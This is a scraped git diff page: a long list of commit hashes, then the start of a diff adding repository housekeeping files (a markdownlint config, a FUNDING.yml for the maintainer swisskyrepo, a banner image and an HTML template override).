58d88e5293 | ||
|
|
030e536586 | ||
|
|
f44fae68b5 | ||
|
|
5d846e9b8d | ||
|
|
e68dc99749 | ||
|
|
335a5c42fb | ||
|
|
b3d31e45e5 | ||
|
|
b5699ecf08 | ||
|
|
d2f63406cd | ||
|
|
c957271453 | ||
|
|
3af70155e2 | ||
|
|
780d8ba313 | ||
|
|
23438cc68e | ||
|
|
90f37e57ec | ||
|
|
c8076e99c9 | ||
|
|
7369ee28b3 | ||
|
|
0f94adafe5 | ||
|
|
88321a332f | ||
|
|
4c29079010 | ||
|
|
1e85308ae2 | ||
|
|
bef56844aa | ||
|
|
46cd766d0f | ||
|
|
f89597725a | ||
|
|
7c06c9025e | ||
|
|
69b99826d2 | ||
|
|
8a6220c1a2 | ||
|
|
4791962be5 | ||
|
|
9bde75b32d | ||
|
|
fde99044c5 | ||
|
|
68a4c9296b | ||
|
|
6cba7ceda9 | ||
|
|
f18cb9b569 | ||
|
|
87be30d3b2 | ||
|
|
31a1cdc86f | ||
|
|
a092546230 | ||
|
|
d966e25bc0 | ||
|
|
6d46fe774e | ||
|
|
01f2a02c52 | ||
|
|
f4053576f4 | ||
|
|
ab9e8a2ba2 | ||
|
|
ae98d629f0 | ||
|
|
b3f5637103 | ||
|
|
1fd9260d1e | ||
|
|
7ab7664469 | ||
|
|
38a209b14d | ||
|
|
7cb359644a | ||
|
|
33cf9fa2d2 | ||
|
|
ce14006be0 | ||
|
|
3bed3bccc8 | ||
|
|
18cd445a5b | ||
|
|
a571df2585 | ||
|
|
37e69b6162 | ||
|
|
d9d4a54d03 | ||
|
|
2d273fd40e | ||
|
|
9086ff9d03 | ||
|
|
3a4bd97762 | ||
|
|
ee12f8e480 | ||
|
|
eddc716d8c | ||
|
|
1b244ca690 | ||
|
|
6841fc21d2 | ||
|
|
2b6c3cb360 | ||
|
|
3f2f156c12 | ||
|
|
44735975a5 | ||
|
|
175c676f1e | ||
|
|
975a23ae34 | ||
|
|
e2ff22b136 | ||
|
|
a0c08e4e87 | ||
|
|
2f8fc7bbb9 | ||
|
|
459f4c03fc | ||
|
|
043e5a105e | ||
|
|
1fcbd576fe | ||
|
|
2148c89452 | ||
|
|
0b8293b135 | ||
|
|
80816aee31 | ||
|
|
4e95162dc3 | ||
|
|
ab0e487500 | ||
|
|
628481cd4d | ||
|
|
4519df200c | ||
|
|
391755ec20 | ||
|
|
70d0ae9ed6 | ||
|
|
e31de3dd6b | ||
|
|
85a7ac8a76 | ||
|
|
0ba120e250 | ||
|
|
9f5cf0357a | ||
|
|
2a16009386 | ||
|
|
a69e911926 | ||
|
|
aeecfe0742 | ||
|
|
fdc65d3ad1 | ||
|
|
18556c2caf | ||
|
|
21c1690adf | ||
|
|
e9b38b8f43 | ||
|
|
78e8bcf136 | ||
|
|
62b897c936 | ||
|
|
2a4631eb8f | ||
|
|
c469236204 | ||
|
|
8547ac7dfc | ||
|
|
b006551bfe | ||
|
|
9c569990dc | ||
|
|
ad9c15b824 | ||
|
|
013ca1f9b0 | ||
|
|
e3e3ca6ba2 | ||
|
|
367296c1f1 | ||
|
|
28f68f47ae | ||
|
|
99e4868447 | ||
|
|
4ae6982f63 | ||
|
|
61eed94f18 | ||
|
|
a723a34449 | ||
|
|
28a48bd696 | ||
|
|
a4bdabea83 | ||
|
|
1592756f9c | ||
|
|
9753f369e3 | ||
|
|
43a9a5d235 | ||
|
|
08b59f2856 | ||
|
|
22340c8fc2 | ||
|
|
7ae038d919 | ||
|
|
ba2c02cc3e | ||
|
|
7a564cb859 | ||
|
|
2b43fa8bfc | ||
|
|
f23de13d96 | ||
|
|
90eefc3b2e | ||
|
|
604618ed41 | ||
|
|
d8d26d8fb3 | ||
|
|
059a866fd2 | ||
|
|
4f89c0a6d2 | ||
|
|
2c0fff2a7a | ||
|
|
209380740b | ||
|
|
0443babe35 | ||
|
|
f6b9d63bf8 | ||
|
|
bd2166027e | ||
|
|
af9f103655 | ||
|
|
825295e465 | ||
|
|
5a3427cf9b | ||
|
|
126555e5f9 | ||
|
|
22a1662f60 | ||
|
|
13d54a5c24 | ||
|
|
d61f683dc6 | ||
|
|
ca28c69e67 | ||
|
|
8d31b7240b | ||
|
|
e128964dd9 | ||
|
|
d1c23c5863 | ||
|
|
9be371d793 | ||
|
|
f6f8ec010a | ||
|
|
73f6ab940c | ||
|
|
1d08a7e12d | ||
|
|
9244fe0480 | ||
|
|
495a1f3ffe | ||
|
|
34dff949a2 | ||
|
|
fd6d7f360e | ||
|
|
6bcd2e8a6a | ||
|
|
b4d8b5939f | ||
|
|
826130946c | ||
|
|
092083af5c | ||
|
|
075721fa9b | ||
|
|
93769768e2 | ||
|
|
ec856fec21 | ||
|
|
92667a12a4 | ||
|
|
4c7dd435a6 | ||
|
|
88aa7c9789 | ||
|
|
2ac947e46d | ||
|
|
4e17d6c2b3 | ||
|
|
cd6f5493b3 | ||
|
|
4b8dab523e | ||
|
|
daebeeadd2 | ||
|
|
b04579aa30 | ||
|
|
0675573d93 | ||
|
|
89429f9c4f | ||
|
|
d4d2ba45c2 | ||
|
|
c5d8f3fc4f | ||
|
|
7b943d46bc | ||
|
|
6f758ba6c0 | ||
|
|
01aadf3a44 | ||
|
|
836861c86e | ||
|
|
964f2cde35 | ||
|
|
5cfa93f98b | ||
|
|
4473764c4d | ||
|
|
8c97cec6d8 | ||
|
|
3a6ac550b8 | ||
|
|
dd80fb899c | ||
|
|
7846225bfd | ||
|
|
609c38bde5 | ||
|
|
70d8db7de4 | ||
|
|
a6727e8305 | ||
|
|
0929d5596c | ||
|
|
20da830ac1 | ||
|
|
16b207eb0b | ||
|
|
67752de6e9 | ||
|
|
66a0fd1cbe | ||
|
|
1e69ec63a8 | ||
|
|
35a86f81d7 | ||
|
|
4dc5777c33 | ||
|
|
e0c745cbf4 | ||
|
|
d2d1a2d913 | ||
|
|
4b9baf37d3 | ||
|
|
f7e8f515a5 | ||
|
|
973f091d1b | ||
|
|
3e50b711b7 | ||
|
|
4c18e29a6b | ||
|
|
7e3db3a3f4 | ||
|
|
aab4f3e14b | ||
|
|
c6d0ba29e7 | ||
|
|
b5a758dada | ||
|
|
aaff374395 | ||
|
|
e58bfe8310 | ||
|
|
4ab874d854 | ||
|
|
73fdd6e218 | ||
|
|
12aab45018 | ||
|
|
19a2950b8d | ||
|
|
2f83ee56f4 | ||
|
|
7733d4495e | ||
|
|
78cc68674b | ||
|
|
f48ee0bca5 | ||
|
|
27050f6dd8 | ||
|
|
e9390d1572 | ||
|
|
eb75a7e304 | ||
|
|
e13f152b74 | ||
|
|
15e44bdfe6 | ||
|
|
3314f8bd99 | ||
|
|
bca107cc64 | ||
|
|
10e6c075f7 | ||
|
|
7cd34d4ffa | ||
|
|
e9de4e9d78 | ||
|
|
b918095775 | ||
|
|
13ed9c8628 | ||
|
|
b7547cc171 | ||
|
|
a639121b21 | ||
|
|
3cf44386da | ||
|
|
8863292545 | ||
|
|
95b07c9e3e | ||
|
|
a60caaefef | ||
|
|
bde7fc738c | ||
|
|
f3066722ee | ||
|
|
08bc3acb05 | ||
|
|
bd184487e5 | ||
|
|
6a82f47f32 | ||
|
|
0492545960 | ||
|
|
5930efcb80 | ||
|
|
f9e2512080 | ||
|
|
464fbeb8f4 | ||
|
|
e8fccb6dd2 | ||
|
|
7f36bf58a4 | ||
|
|
ed944a95af | ||
|
|
1137bfca8d | ||
|
|
4fe1d71ad8 | ||
|
|
2bdd23dc51 | ||
|
|
c7be142d62 | ||
|
|
f9389d708b | ||
|
|
db533aabd4 | ||
|
|
2746451408 | ||
|
|
ff3b45e0b7 | ||
|
|
1b69a3ef73 | ||
|
|
9eb84bcfb7 | ||
|
|
1535077d9d | ||
|
|
ae3a4d4336 | ||
|
|
2a65064d15 | ||
|
|
8448bbc483 | ||
|
|
350c55a1ac | ||
|
|
99f53ae9b4 | ||
|
|
f7c837ffdd | ||
|
|
c52cfb1200 | ||
|
|
ec445110d6 | ||
|
|
fa497c2149 | ||
|
|
9992990e40 | ||
|
|
9e61eb91be | ||
|
|
91fc542c81 | ||
|
|
570213a2f8 | ||
|
|
1f96d34ddf | ||
|
|
955557d175 | ||
|
|
f2e3078915 | ||
|
|
35f2834eaa | ||
|
|
e9c0581fa6 | ||
|
|
0f125243ab | ||
|
|
33ab643c0d | ||
|
|
fae1f339e2 | ||
|
|
3671248485 | ||
|
|
a026ad0727 | ||
|
|
7f90601372 | ||
|
|
3a5f98e177 | ||
|
|
7510307a59 | ||
|
|
bf7fc8939b | ||
|
|
94d37e057c | ||
|
|
8a59b22a64 | ||
|
|
0b90094002 | ||
|
|
4a4df791ed | ||
|
|
693349da56 | ||
|
|
b641131f27 | ||
|
|
5a1ae58a59 | ||
|
|
3368084b2d | ||
|
|
b32f4754d7 | ||
|
|
483d8796d5 | ||
|
|
2ab1c58dac | ||
|
|
3e159534b8 | ||
|
|
fdc44ce84e | ||
|
|
dbc3cb38ea | ||
|
|
913f2d2381 | ||
|
|
0f098c8a2c | ||
|
|
a8319b94ff | ||
|
|
f03da2a53e | ||
|
|
f284045ba6 | ||
|
|
f66c53ee25 | ||
|
|
c9be68f0a1 | ||
|
|
0df0cc9cf8 | ||
|
|
52b0cd6030 | ||
|
|
7014cb37d2 | ||
|
|
5c810b0e62 | ||
|
|
6b03d32af0 | ||
|
|
559fd9dcf8 | ||
|
|
63270e4d42 | ||
|
|
417c972871 | ||
|
|
7229b45f3a | ||
|
|
aedf84283a | ||
|
|
73a94b3de7 | ||
|
|
4a63544b75 | ||
|
|
d6feb565ce | ||
|
|
e8744406f9 | ||
|
|
dbddc717af | ||
|
|
b0a9d49aea | ||
|
|
7e0e06682b | ||
|
|
e081b3afab | ||
|
|
50c12f2e71 | ||
|
|
e62b68a74b | ||
|
|
ec1f89fbe6 | ||
|
|
837d2641b7 | ||
|
|
ef90ce9bce | ||
|
|
6c1a6c41aa | ||
|
|
e36ae2458d | ||
|
|
21f2b5dca6 | ||
|
|
a57305e75f | ||
|
|
992732877f | ||
|
|
0a01854a6a | ||
|
|
3a227603a1 | ||
|
|
0cee482b32 | ||
|
|
229502c497 | ||
|
|
a478356f43 | ||
|
|
4d5c10965d | ||
|
|
1a0e31a05e | ||
|
|
f4ef56fca0 | ||
|
|
62678c26ce | ||
|
|
14586e4d7a | ||
|
|
e79918bdc2 | ||
|
|
20dadc9815 | ||
|
|
543f63d7de | ||
|
|
ddabfd7531 | ||
|
|
93751d8650 | ||
|
|
6c1e3402e0 | ||
|
|
9554aa2ed9 | ||
|
|
bcd700c951 | ||
|
|
b5e511c03b | ||
|
|
2f40961990 | ||
|
|
83fbdb906b | ||
|
|
b4d9ee0634 | ||
|
|
f1d55a132a | ||
|
|
734bb7ce98 | ||
|
|
6865492a6b | ||
|
|
9a372ec810 | ||
|
|
88f8b7d1aa | ||
|
|
426c2be37e | ||
|
|
f431ea7166 | ||
|
|
3ef51a12ce | ||
|
|
75a0f34bdc | ||
|
|
845326dd61 | ||
|
|
502a8121b4 | ||
|
|
76e6f7dc95 | ||
|
|
cc95f4e386 | ||
|
|
6e526de7b4 | ||
|
|
f11c45650b | ||
|
|
1284715128 | ||
|
|
6f3f2239fa | ||
|
|
d386790fd2 | ||
|
|
0266a7dd67 | ||
|
|
d1104d6ce1 | ||
|
|
93f321879f | ||
|
|
d00d7c9788 | ||
|
|
33129f2b4c | ||
|
|
c7e3ea005e | ||
|
|
268b4c2d47 | ||
|
|
fbf896edf1 | ||
|
|
767eb04af6 | ||
|
|
ca9326b5fc | ||
|
|
dd40ddd233 | ||
|
|
94f6e31905 | ||
|
|
2e7b9db94b | ||
|
|
37f66cc523 | ||
|
|
baadc6d3e9 | ||
|
|
982ac3968c | ||
|
|
d3f1bfa1ae | ||
|
|
2c935df34d | ||
|
|
cd3de64c73 | ||
|
|
62443a3753 | ||
|
|
2d7d6d6eed | ||
|
|
bb1e710806 | ||
|
|
1553115e19 | ||
|
|
c1d74a1252 | ||
|
|
d317b46af9 | ||
|
|
5b1a79cb56 | ||
|
|
f86837ca8c | ||
|
|
ee43329187 | ||
|
|
93a372cea4 | ||
|
|
e9ee3bb59b | ||
|
|
e37aff2fcd | ||
|
|
b9295bf504 | ||
|
|
7aef550c39 | ||
|
|
6c63d9c9d9 | ||
|
|
d5c1f39c0f | ||
|
|
c39c904c9a | ||
|
|
6d37ad9e2e | ||
|
|
36bbfd877f | ||
|
|
ecf29c2cbe | ||
|
|
29575f54f7 | ||
|
|
010b550dec | ||
|
|
74325476a0 | ||
|
|
24981f945f | ||
|
|
701219932d | ||
|
|
03a0bda20d | ||
|
|
c24cb01715 | ||
|
|
bd0c6847b8 | ||
|
|
71ddb449ce | ||
|
|
137333cef6 | ||
|
|
a987b8be9f | ||
|
|
7670e2c36c | ||
|
|
5323ceb37c | ||
|
|
5b47fc8ead | ||
|
|
4ca5e71c2f | ||
|
|
c734586e72 | ||
|
|
cb8bf8ea66 | ||
|
|
c1731041b5 | ||
|
|
81655945f9 | ||
|
|
4c3cb6f530 | ||
|
|
e61db57ff1 | ||
|
|
7b8514f1f5 | ||
|
|
eb074393df | ||
|
|
1d8714615d | ||
|
|
a5d220d599 | ||
|
|
a65fdbb568 | ||
|
|
e95a4aeac0 | ||
|
|
3ed2b28e59 | ||
|
|
7f1c150edd | ||
|
|
770723d9da | ||
|
|
d0bb0f6f5b | ||
|
|
a436e0fe7e | ||
|
|
eb28e4c28d | ||
|
|
a322dc2da9 | ||
|
|
5aad5795d2 | ||
|
|
53db029d4e | ||
|
|
a4b987d46b | ||
|
|
32b83da302 | ||
|
|
5c7e67b05d | ||
|
|
1fc8b57c85 | ||
|
|
5163ef902c | ||
|
|
e9b296adb3 | ||
|
|
da5dc1299e | ||
|
|
008cbcf9fc | ||
|
|
712e3b93f6 | ||
|
|
7f1fb32980 | ||
|
|
04899355ad | ||
|
|
879ead1558 | ||
|
|
bdf06d4183 | ||
|
|
02ec624732 | ||
|
|
7c8e9ac4ce | ||
|
|
14d03b96a1 | ||
|
|
2e507a2b2f | ||
|
|
298da2d4e4 | ||
|
|
c2b8018617 | ||
|
|
bf73393921 | ||
|
|
c4af354d8f | ||
|
|
2615968e96 | ||
|
|
735b0d2277 | ||
|
|
2740600a6b | ||
|
|
eaac0e748e | ||
|
|
c8c4a6e8a9 | ||
|
|
89f906f7a8 | ||
|
|
95fed140ec | ||
|
|
0de5cb7123 | ||
|
|
ade039c1bc | ||
|
|
1d8414c703 | ||
|
|
af6760ef7a | ||
|
|
7e7f5e7628 | ||
|
|
cc3b05017d | ||
|
|
44e676ea70 | ||
|
|
a19fd013fb | ||
|
|
29194a8ef1 | ||
|
|
bc8dd0b784 | ||
|
|
54e3887077 | ||
|
|
3e5b367224 | ||
|
|
f120024c6b | ||
|
|
48fcdeb7ca | ||
|
|
4537555714 | ||
|
|
dd42b44011 | ||
|
|
930a3a0d8c | ||
|
|
89e49b676d | ||
|
|
5902da38e4 | ||
|
|
cea982c062 | ||
|
|
6e7af5a267 | ||
|
|
f748af16d2 | ||
|
|
c9fcb58d57 | ||
|
|
78bd0867fe | ||
|
|
009a2f9276 | ||
|
|
b5cc379c4b | ||
|
|
38c273ff00 | ||
|
|
8b78c2fe71 | ||
|
|
231e41a59b | ||
|
|
268d85b4bf | ||
|
|
0ba5ad3e71 | ||
|
|
1d299f55c9 | ||
|
|
be8f32b586 | ||
|
|
95ab07b45e | ||
|
|
d489597357 | ||
|
|
a3cc577ebd | ||
|
|
173366dc65 | ||
|
|
1b190939c4 | ||
|
|
6c38274bdb | ||
|
|
2bdbb2dbc5 | ||
|
|
4303caa08c | ||
|
|
1538ccd7f2 | ||
|
|
57b500b48e | ||
|
|
97dffcdc40 | ||
|
|
3e184c10f9 | ||
|
|
70182d32c9 | ||
|
|
3abf2aff2a | ||
|
|
c20f84d09c | ||
|
|
fe4bdb0df4 | ||
|
|
1f3a94ba88 | ||
|
|
5d87804f71 | ||
|
|
9207e0204c | ||
|
|
29fac06023 | ||
|
|
c19e36ad34 | ||
|
|
71a307a86b | ||
|
|
74f2dfccca | ||
|
|
c5ac4e9eff | ||
|
|
0b14b12fb4 | ||
|
|
3fad2f364c | ||
|
|
f28f83bda6 | ||
|
|
915946a343 | ||
|
|
bda7100a77 | ||
|
|
984078050b | ||
|
|
7f0650dfc0 | ||
|
|
73aa26ba68 | ||
|
|
9d06e1297f | ||
|
|
7d650e9622 | ||
|
|
c2292145c8 | ||
|
|
7be86354b2 | ||
|
|
ba30618a8b | ||
|
|
7cd49769be | ||
|
|
b76a23c77f | ||
|
|
994e557178 | ||
|
|
aba6874517 | ||
|
|
9c4578f083 | ||
|
|
056161fd9f | ||
|
|
37cfa0826e | ||
|
|
50a376337d | ||
|
|
fb76fdc331 | ||
|
|
8a19532f27 | ||
|
|
667ae82aff | ||
|
|
bef710fccd | ||
|
|
7d41cd750d | ||
|
|
3840683bed | ||
|
|
44c68ca4e9 | ||
|
|
323a012488 | ||
|
|
eefa2afab1 | ||
|
|
aacd095452 | ||
|
|
b6e7ad655f | ||
|
|
d54fa1ef26 | ||
|
|
be0397fa68 | ||
|
|
590b7681e4 | ||
|
|
7920b4a124 | ||
|
|
aabb48125f | ||
|
|
cfcf955a33 | ||
|
|
d3ce3924a9 | ||
|
|
8dc1e3c5fe | ||
|
|
7ab6750655 | ||
|
|
7f34c01794 | ||
|
|
96b9adb98b | ||
|
|
742c7ee3c2 | ||
|
|
71171fa78b | ||
|
|
3a9b9529cb | ||
|
|
73abdeed71 | ||
|
|
b052f78d95 | ||
|
|
97015e4f64 | ||
|
|
9c188139ec | ||
|
|
0850839b25 | ||
|
|
e024afc9f7 | ||
|
|
7aa2761e3e | ||
|
|
0a6ac284c9 | ||
|
|
bcb24c9866 | ||
|
|
4b10c5e302 | ||
|
|
1535c5f1b3 | ||
|
|
cf5a4b6e97 | ||
|
|
02f714d479 | ||
|
|
ada158cd60 | ||
|
|
4c96a5a6ef | ||
|
|
976403034c | ||
|
|
6939499bed | ||
|
|
4de5a20376 | ||
|
|
156ea32217 | ||
|
|
d6d649e08f | ||
|
|
4588cc2eee | ||
|
|
03762911a7 | ||
|
|
896e262531 | ||
|
|
ba9fce83b1 | ||
|
|
e95b0c34a3 | ||
|
|
6f4a28ef66 | ||
|
|
21101ec287 | ||
|
|
286f7caaa3 | ||
|
|
e92126a16c | ||
|
|
ac0239d332 | ||
|
|
c125b35f98 | ||
|
|
f44d014fc2 | ||
|
|
c60f264664 | ||
|
|
06864b0ff8 | ||
|
|
3abaa3e23d | ||
|
|
886a0b9426 | ||
|
|
6a398ca5c3 | ||
|
|
00684a10cd | ||
|
|
639dc9faec | ||
|
|
3a384c34aa | ||
|
|
7f266bfda8 | ||
|
|
255a8c3660 | ||
|
|
eac33e7e10 | ||
|
|
6ca8aa8acc | ||
|
|
221b353030 | ||
|
|
43f185d289 | ||
|
|
f6d5221a85 | ||
|
|
6fecedd880 | ||
|
|
24516ca7a1 | ||
|
|
60050219b7 | ||
|
|
4eae23a43d | ||
|
|
adaa93b4b8 | ||
|
|
e3604c01d7 | ||
|
|
54c94e0398 | ||
|
|
64f8f4d869 | ||
|
|
3585b1f00f | ||
|
|
775d10c256 | ||
|
|
83f46a22e3 | ||
|
|
952b3c0369 | ||
|
|
83569c6142 | ||
|
|
5fec4f7c21 | ||
|
|
5f31044ae3 | ||
|
|
bd121bfccb | ||
|
|
b36e5262bd | ||
|
|
757e1c107e | ||
|
|
069463fe14 | ||
|
|
535ad5baaa | ||
|
|
6b22d53257 | ||
|
|
694e9e4dbd | ||
|
|
55d1731897 | ||
|
|
d41e0d33bd | ||
|
|
4d94e553b9 | ||
|
|
fe8c7be2fb | ||
|
|
a69c2acb7d | ||
|
|
4b1f7e629d | ||
|
|
20d6599772 | ||
|
|
ca59b1d217 | ||
|
|
a33dce0d60 | ||
|
|
7d6fab92fa | ||
|
|
614e8a97b9 | ||
|
|
f81f9440b8 | ||
|
|
b7fdf8aa3f | ||
|
|
34d8853728 | ||
|
|
bb7e6b7cd0 | ||
|
|
377aad4061 | ||
|
|
b25694239b | ||
|
|
bb2c247160 | ||
|
|
52119907f6 | ||
|
|
5094ef8b10 | ||
|
|
534d46d0e4 | ||
|
|
be3ef08d19 | ||
|
|
135af74acd | ||
|
|
ab341cff38 | ||
|
|
3dcd4425a8 | ||
|
|
56ec623412 | ||
|
|
68f1a17b57 | ||
|
|
525429c0d8 | ||
|
|
f35ace93cf | ||
|
|
882eec0566 | ||
|
|
aef5bb864a | ||
|
|
32c18fdf56 | ||
|
|
5b59da70f7 | ||
|
|
88f020381d | ||
|
|
3464611c00 | ||
|
|
c6b5bbab2b | ||
|
|
727eb5cabd | ||
|
|
11fc6e4bc5 | ||
|
|
b54142c3a2 | ||
|
|
ed252df92e | ||
|
|
7159a3ded3 | ||
|
|
8eae039a28 | ||
|
|
67a68d7eac | ||
|
|
83caef8ee1 | ||
|
|
b22742ba9e | ||
|
|
52d02cea63 | ||
|
|
6a81a130cc | ||
|
|
f0af3b4f4d | ||
|
|
05b3e13098 | ||
|
|
57628ffd18 | ||
|
|
03d02ccdd6 | ||
|
|
320a9fad31 | ||
|
|
9f463d156b | ||
|
|
357658371f | ||
|
|
8b0bd4d655 | ||
|
|
54d6161c9d | ||
|
|
cb9b7a1304 | ||
|
|
920da73bd7 | ||
|
|
4f38666c35 | ||
|
|
e180d1f7e6 | ||
|
|
e1e5397d4c | ||
|
|
f2beb0dbbc | ||
|
|
6a11a6c670 | ||
|
|
3fb2a9006f | ||
|
|
3221197b1e | ||
|
|
9a02958b51 | ||
|
|
8061cdd856 | ||
|
|
8822199f65 | ||
|
|
a0917241ad | ||
|
|
e6f94af721 | ||
|
|
742e3204d3 | ||
|
|
5455c30ec7 | ||
|
|
2b1900e046 | ||
|
|
3ca07aeb7a | ||
|
|
2a4c4f46b2 | ||
|
|
0625e2aebf | ||
|
|
c6824e7aa9 | ||
|
|
da3bdc5f61 | ||
|
|
72c54b5c1b | ||
|
|
bb305d0183 | ||
|
|
7b6c8d46aa | ||
|
|
6c161f26b2 | ||
|
|
e0220d1f17 | ||
|
|
3fd0791c2a | ||
|
|
8dffb59ac5 | ||
|
|
4a176615fe | ||
|
|
b6697d8595 | ||
|
|
9a8b2fee8e | ||
|
|
66c9d945b7 | ||
|
|
bd449e9cea | ||
|
|
9b96c7692f | ||
|
|
a331d87ffe | ||
|
|
6baa446144 | ||
|
|
98124178db | ||
|
|
657823a353 | ||
|
|
f6c0f226af | ||
|
|
859695e2be | ||
|
|
a14b3af934 | ||
|
|
0b9d76eb8e | ||
|
|
45af613fd9 | ||
|
|
3cce80cd53 | ||
|
|
382bd9acec | ||
|
|
ca331acba8 | ||
|
|
dab064a583 | ||
|
|
504caa3b50 | ||
|
|
bdef021a6d | ||
|
|
05054af343 | ||
|
|
6cecb8fa7a | ||
|
|
f6564869f0 | ||
|
|
13ba72f124 | ||
|
|
46780de750 | ||
|
|
144b3827ab | ||
|
|
3b85f1b6fc | ||
|
|
b148a9c906 | ||
|
|
a4411ae086 | ||
|
|
7dda79bfc1 | ||
|
|
1cec6e9a35 | ||
|
|
601db0e188 | ||
|
|
9be62677b6 | ||
|
|
c3f96c6753 | ||
|
|
9745e67465 | ||
|
|
6921cde15c | ||
|
|
24a05c7098 | ||
|
|
8cec2e0ca3 | ||
|
|
94a60b43d6 | ||
|
|
a85fa5af28 | ||
|
|
5d4f65720a | ||
|
|
e8cd11f88f | ||
|
|
adcea1a913 | ||
|
|
f5a8a6b62f | ||
|
|
93f6c03b54 | ||
|
|
00f50c5f32 | ||
|
|
edcac293a8 | ||
|
|
b031115588 | ||
|
|
f5702467d6 | ||
|
|
f88da43e1c | ||
|
|
b1a05d1aab | ||
|
|
72c96ade44 | ||
|
|
506014dd5f | ||
|
|
9c2e63818f | ||
|
|
cc8c7b3e70 | ||
|
|
698cc52eaa | ||
|
|
b81df17589 | ||
|
|
bab04f8587 | ||
|
|
765c615efe | ||
|
|
6bc297252a | ||
|
|
403cb4ef65 | ||
|
|
2b3f07236b | ||
|
|
d0f14cbfde | ||
|
|
a458cb397d | ||
|
|
bd861e304f | ||
|
|
0ccccd0fea | ||
|
|
5bb27ee889 | ||
|
|
4d3ee90eec | ||
|
|
81f93a19c2 | ||
|
|
aac5a57932 | ||
|
|
9dfd7835ea | ||
|
|
e467d6096a | ||
|
|
49b9d0aff7 | ||
|
|
271cc269b6 | ||
|
|
e0dbfc1578 | ||
|
|
13864bde04 | ||
|
|
b4633bbb66 | ||
|
|
b8e74fe0ba | ||
|
|
c66197903f | ||
|
|
ee00dc1803 | ||
|
|
4c6f9e21e9 | ||
|
|
eb045a7d12 | ||
|
|
5686af951d | ||
|
|
546ecd0e36 | ||
|
|
aaaeb3f38e | ||
|
|
4b79b865c9 | ||
|
|
187762fac5 | ||
|
|
3af87ddf98 | ||
|
|
cbc57c7330 | ||
|
|
1eb57ad919 | ||
|
|
289fa8c22b | ||
|
|
bbc9029dd6 | ||
|
|
90b182f10f | ||
|
|
a509909561 | ||
|
|
5d1b8bca79 | ||
|
|
9d3eccef48 | ||
|
|
fed4bdab90 | ||
|
|
3b70783450 | ||
|
|
333b9ea85e | ||
|
|
594e35a358 | ||
|
|
4b38516e3b | ||
|
|
bd9378cab7 | ||
|
|
ea1e5a63ad | ||
|
|
09d52cded0 | ||
|
|
3b4218e2a6 | ||
|
|
06ec486aa5 | ||
|
|
0913e8c3bd | ||
|
|
2d4b98b9c2 | ||
|
|
8ed6cdb9ae | ||
|
|
e9489f0768 | ||
|
|
e5090f2797 | ||
|
|
47490c1624 | ||
|
|
87b2ae3ef1 | ||
|
|
9d1ebbacdb | ||
|
|
ec61e99334 | ||
|
|
b22fd26800 | ||
|
|
68df152fd3 | ||
|
|
404afd1d71 | ||
|
|
21d1fe7eee | ||
|
|
ee334f981e | ||
|
|
ef65f36902 | ||
|
|
c0b4381c13 | ||
|
|
f67be6ef0b | ||
|
|
007a1eda83 | ||
|
|
450de2c90f | ||
|
|
e36b15a6d7 | ||
|
|
ecadcf3d0f | ||
|
|
2d5b4f2193 | ||
|
|
6d2cd684fa | ||
|
|
70225232c9 | ||
|
|
a58a8113d1 | ||
|
|
abb81aba7e | ||
|
|
4187f87d0d | ||
|
|
79f2c52ef5 | ||
|
|
c14fe62d0a | ||
|
|
a4e695a92e | ||
|
|
119c4f4712 | ||
|
|
a3ee78fb80 | ||
|
|
4e17443d62 | ||
|
|
40f86d39b0 | ||
|
|
78c882fb34 | ||
|
|
eac421432a | ||
|
|
88d5af0b19 | ||
|
|
bb0177916d | ||
|
|
200a2d38d8 | ||
|
|
f2273f5cce | ||
|
|
8c1c35789d | ||
|
|
1c37517bf3 | ||
|
|
8ff2aa8aff | ||
|
|
90db8b0f11 | ||
|
|
7877647db1 | ||
|
|
357f8a69a8 | ||
|
|
b30ac4e5bb | ||
|
|
ffde81e2c0 | ||
|
|
7068cb6edc | ||
|
|
20bf52eb6a | ||
|
|
1f502ce20d | ||
|
|
b9f2fe367c | ||
|
|
cd2d76d538 | ||
|
|
99857a714f | ||
|
|
e07a654080 | ||
|
|
4db45a263a | ||
|
|
22c82cb277 | ||
|
|
ab6535c6d9 | ||
|
|
1547338f84 | ||
|
|
3bcd3d1b3c | ||
|
|
0070ac5dc4 | ||
|
|
c7a292c19d | ||
|
|
ea0bddc18a | ||
|
|
2e3aef1a19 | ||
|
|
8b39647de6 | ||
|
|
67c644a300 | ||
|
|
e480c9358d | ||
|
|
bd97c0be86 | ||
|
|
d57d59eca7 | ||
|
|
d5478d1fd6 | ||
|
|
82d4ff6c1d | ||
|
|
b9efdb52d3 | ||
|
|
38c3bfbd9f | ||
|
|
cdc3b5e080 | ||
|
|
c25af52316 | ||
|
|
a6475a19d9 | ||
|
|
9c529535a5 | ||
|
|
9c878f9b09 | ||
|
|
b4aff1a826 | ||
|
|
e096d10a30 | ||
|
|
b59e24312e | ||
|
|
5b7a3a95d3 | ||
|
|
69c1d601fa | ||
|
|
8403068681 | ||
|
|
20c6bb2299 | ||
|
|
1d6b34ace5 | ||
|
|
f1fec1c952 | ||
|
|
1e4e04831b | ||
|
|
68325c8b98 | ||
|
|
c8d7575ba3 | ||
|
|
521d61d956 | ||
|
|
928a454531 | ||
|
|
b34cff5a74 | ||
|
|
1225a9a23d | ||
|
|
565b40d177 | ||
|
|
0309a2efbd | ||
|
|
59d0020c86 | ||
|
|
a0f8e846fa | ||
|
|
fd99da6c06 | ||
|
|
5c1d025b03 | ||
|
|
7096b813ec | ||
|
|
182db99e13 | ||
|
|
133518a78b | ||
|
|
081df9b24d |
569 changed files with 32957 additions and 10596 deletions
11
.github/.markdownlint.json
vendored
Normal file
11
.github/.markdownlint.json
vendored
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
{
|
||||
"default": true,
|
||||
"MD013": false,
|
||||
"MD033": false,
|
||||
"no-duplicate-heading": {
|
||||
"siblings_only": true
|
||||
},
|
||||
"ul-indent": {
|
||||
"indent": 4
|
||||
}
|
||||
}
|
||||
4
.github/FUNDING.yml
vendored
Normal file
4
.github/FUNDING.yml
vendored
Normal file
|
|
@ -0,0 +1,4 @@
|
|||
# These are supported funding model platforms
|
||||
github: swisskyrepo
|
||||
ko_fi: swissky
|
||||
custom: https://www.buymeacoffee.com/swissky
|
||||
BIN
.github/banner.png
vendored
Normal file
BIN
.github/banner.png
vendored
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 810 KiB |
2527
.github/hopla_config.json
vendored
Normal file
2527
.github/hopla_config.json
vendored
Normal file
File diff suppressed because it is too large
Load diff
28
.github/overrides/main.html
vendored
Normal file
28
.github/overrides/main.html
vendored
Normal file
|
|
@ -0,0 +1,28 @@
|
|||
{% extends "base.html" %}
|
